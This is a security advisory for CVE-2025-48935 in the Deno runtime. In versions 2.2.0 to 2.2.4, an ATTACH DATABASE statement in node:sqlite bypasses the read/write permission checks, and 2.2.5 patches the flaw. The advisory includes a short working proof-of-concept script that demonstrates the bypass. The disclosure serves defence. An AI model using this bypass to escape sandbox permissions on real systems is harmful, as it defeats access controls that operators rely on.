CVE-2025-48935 — Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

Affected: denoland deno

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permission check by using `ATTACH DATABASE` statement. Version 2.2.5 contains a patch for the issue.

GHSA-8vxj-4cph-c596 — Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

Affected: crates.io: deno, crates.io: deno_node

## Summary

It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement.

## PoC

```js // poc.js import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ```

``` $ deno poc.js ```

Most recent entries from all

CVE-2025-48935 — Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

GHSA-8vxj-4cph-c596 — Deno has --allow-read / --allow-write permission bypass in `node:sqlite`